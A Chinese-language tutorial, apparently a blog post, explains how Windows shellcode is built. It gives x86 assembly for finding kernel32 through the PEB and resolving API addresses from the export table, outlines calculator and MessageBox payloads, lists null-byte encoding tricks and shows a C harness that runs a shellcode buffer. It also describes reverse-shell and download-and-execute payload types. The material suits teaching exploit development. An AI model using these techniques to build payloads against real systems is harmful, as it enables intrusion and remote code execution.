说到shellcode可能都有些迷茫,不知它是什么东西,可能觉得也很神秘,对于它的专业解释也很少有人提及,今天我们就从以下几个方面来对windows下的shellcode做一个全剖析:
1. shellcode的发展历史以及定义
2. 现今常见的windows下的shellcode种类
3. 编写shellcode流程
4. shellocode举例
5、shellcode编码
6、测试shllcode1.

1.shellcode的发展历史以及定义:
对于shellcode的发展历史,failewest兄的《0day安全:软件漏洞分析技术》一书中讲的很明白,这里就引用一小段:
“1996年,Aleph One在Underground发表了著名论文《SMASHING THE STACK FOR FUN AND PROFIT》,其中详细描述了Linux系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中,Aleph One演示了如何向进程中植入一段用于获得shell的代码,并在论文中称这段被植入进程的代码为’shellcode’。

后来人们干脆统一用shellcode这个专用术语来通称缓冲区溢出***中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框,也可以是出于***目的的删改重要文件、窃取数据、上传***病毒并运行,甚至是出于破坏目的的格式化硬盘等等。”

其实,现在shellcode的应用也很广泛,甚至有些远程控制软件也把自己能做成一个shellcode形式,我们只要理解这个是溢出之后干坏事的一段代码。(文章中提及的shellcode也全是跟溢出相关的shellcode)
2. 现今常见的windows下的shellcode种类
这里,我就直接从功能上来分类:
(1) 反弹端口类(shell)
这是一个真正的原始意义上的shellcode,不得不讲
(2) 下载并执行类(download&exec)
这个是最简单的一类shellcode,在网马中的应用也最广泛
(3) 生成并运行可执行文件类(bindfile)
为什么会有这么一类shellcode呢?试想想,制造漏洞的坏人如果把前面两类shellcode绑定到一个应用软件exploit里面就会出现一些意外情况:
a) 假如你的反弹行为被防火墙给拦截了怎么办?
b) 假如对方的防范意识比较高打开doc、pdf之类的文件的时候总是把网断了再打开怎么办?
哎~,早有坏人替我们想到了这些问题,他们把自己的exe也一并绑定到exploit中,shellcode的功能就是把exe释放出来,然后运行。(这个方法有点邪恶吧)
3. 编写shellcode流程
(1) 查找kernel32.dll基址:
shellcode里面用的API函数一般都是与用户界面无关的,因为它要干坏事,一般都是偷偷的,所以它一般用的都是kernel32.dll里面的函数。所以,我们必须先找到kernel32的基址才能进一步找到各API的地址具体地址。
关于获取api基址的方法很多,我这里就讲最简单的一种(这里面集合了众多高手的实践经验):
利用PEB查找kernel32基址:

        1.fs寄存器指向TEB结构
        2.在TEB+0x30地方指向PEB结构
        3.在PEB+0x0C地方指向PEB_LDR_DATA结构
       4.在PEB_LDR_DATA+0x1C地方就是一些动态连接库地址了,如第一个指向ntdll.dll,第二个就是kernel32.dll的地址。 

代码:
assume fs:nothing
  mov   eax,fs:[30h]
  test  eax,eax
  js  os_9x
os_nt:  
  mov  eax,[eax+0ch]
  mov  esi,[eax+1ch]
  lodsd  
  mov   eax,[eax+8]
  jmp  k_finished
os_9x:
  mov   eax,[eax+34h]
  mov  eax,[eax+7ch]
  mov  eax,[eax+3ch]
k_finished:
  sub  esp,200
  mov  edi,esp
  mov  [edi+8],eax  ;获取kernel32地址

 上述代码是从window95到windows visata都支持,但是不支持window 7,在window7 中,kernel32.dll 不是列在第二个,而是第三个。支持window7的代码如下:

xor ebx, ebx ; clear ebx
       mov ebx, [fs: 0x30 ] ; get a pointer to the PEB
       mov ebx, [ ebx + 0x0C ] ; get PEB->Ldr
       mov ebx, [ ebx + 0x14 ] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
       mov ebx, [ ebx ] ; get the next entry (2nd entry)
       mov ebx, [ ebx ] ; get the next entry (3rd entry)
      mov ebx, [ ebx + 0x10 ] ; get the 3rd entries base address (kernel32.dll)
      这个代码利用了kernel32.dll 是在InMemoryOrderModuleList 中的第三个的事实。(因此它是
一个和前面代码稍微不同的方法,前面是查找InitializationOrder。
(2) 查找API函数地址
通过上面找到了kernel32的基址,但是我们如何得到具体的api函数地址呢?这里就需要涉及到pe文件格式了。这里我只讲解如何从dll文件中找出其函数引出表中的函数地址的方法:(班门弄斧了,见笑~)
a.在kernel32基址+0x3c处获取e_lfanewc地址,即可以得到PE头
b.在PE头偏移的0x78处得到函数引出表地址
c.在引出表的0x1c偏移处获取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
d. AddressOfFunctions和 AddressOfNames是函数地址和函数名通过AddressOfNameOrdinalse一一对应的两个数组
e.是这样计算的:
搜索AddressOfNames,确定“GetProcAddress”所对应的index;
index = AddressOfNameOrdinalse [ index ];
函数地址 = AddressOfFunctions [ index ];
 
代码:
FindApi:      ;获取API函数地址子过程
  push  ebp
  push  edi
  mov  ebp,edi
  mov  ebx,esp
  add  ebx,8
  xor  edx,edx
  mov  eax,[ebp+8]
  add  eax,3ch    ;指向PE头部偏移值e_lfanew
  mov  eax,[eax]  ;取得e_lfanew值
  add  eax,[ebp+8]  ;指向PE header
  cmp  dword ptr[eax],4550h  ;判断是否为'PE'
  jne  NotFound  ;kernel32基址错误
  mov  [ebp+0ch],eax  ;保存PE文件头
  mov  eax,[eax+78h]
  add  eax,[ebp+8]
  mov  [ebp+0ch],eax  ;指向IMAGE_EXPORT_DIRECTORY
  mov  eax,[eax+20h]
  add  eax,[ebp+8]
  mov  [ebp+4],eax  ;保存函数名指针数组的指针值
  mov  ecx,[ebp+0ch]
  mov  ecx,[ecx+14h]
FindLoop:
  
  push  ecx
  mov  eax,[eax]
  add  eax,[ebp+8]
  mov  esi,ebx
  add  esi,8
  mov  edi,eax
  mov  ecx,[ebx+4]
  cld
  repe  cmpsb
  jne  FindNext
  add   esp,4
  mov  eax,[ebp+0ch]
  mov  eax,[eax+1ch]
  add   eax,[ebp+8]
  shl  edx,2
  add  eax,edx
  mov  eax,[eax]
  add  eax,[ebp+8]
  jmp  Found
FindNext:
  inc  edx
  add  dword ptr[ebp+4],4
  mov  eax,[ebp+4]
  pop  ecx
  loop  FindLoop
NotFound:
  xor   eax,eax
Found:
  pop  edi
  pop  ebp
  ret

(3)定位其它函数地址

          可以先通过kernel.dll定位出loadlibraryA函数的地址,如果需要定位的函数不kernel32.dll库中,通过LoadlibraryA获取库的基址,然后再通过第二步取所需函数地址。或者获取kernel.dll中的GetProcAddress地址,通过该函数,可以获取其它函数的地址。并将函数地址保存在栈中。

#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);        //定义函数指针
int main()
{
 HINSTANCE LibHandle;
 MYPROC ProcAdd;
 LibHandle = LoadLibrary(“user32.dll”);
 ProcAdd = (MYPROC) GetProcAddress(LibHandle, "MessageBox");
 (ProcAdd) (0, "test","test", 1);         
        return 0;
}

(4) 构造函数参数

     将需要调用的函数参数放入到栈中,按照从右到左的顺序依次进栈,然后调用函数的地址执行该函数,例如

     push dword ptr 0x00004173
     push dword ptr 0x7365636f
     push dword ptr 0x72506574
     push dword ptr 0x61657243   将字符串入栈
     push esp                    将字符串地址入栈
     push edi                    第一个参数入栈
     call [ebp+76]               调用函数,函数地址保存在栈中
 

4  windowsshellcode编写举例

   1) 计算器shellcode流程   

        定位kernel32.dll基址
        查询导入表来得到WinExec 和ExitProcess 的地址
        将WinExec 的参数入栈
        调用WinExec
        将ExitProcess 的参数入栈
        调用ExitProcess

   2) MessageboxA shellcode流程

       定位kernel32 的基地址
       找到kernel32.dll 中的LoadLibraryA 和ExitProces(可以通过哈希值方式)
       加载user32.dll( LoadLibraryA 指针必须在栈中,因此只要一个指向“user32.dll”的
                       字符串指针作为参数,然后调用LoadLibraryA 这个API)。

       获取MessageBoxA 函数地址并存入栈中
       将MessageBoxA 的参数入栈然后调用MessageBox
       将ExitProcess 的参数入栈
       调用ExitProcess

 5  shellcode编码方法
   通过编码消除特殊测字符如00

   (1) 用add&sub 来重新产生原来的值
   (2) 将原始值一字节一字节写入
   (3) XOR
   (4) 寄存器使用根据情况使用低位AL AH AX等
   (5) 使用替换指令
   (6) 编码

6  shellcode测试代码

    char shellcode[] = "paste your shellcode here";
    int  main(int argc, char **argv)
    {
           int(*func)();
           func = (int (*)()) shellcode;
           (int)(*func)();
  }

  或者

    char shellcode[] = "paste your shellcode here";
    int  main(int argc, char **argv)
    {     __asm
         {
                lea eax, bindshell
                push  eax
                ret
          }
 }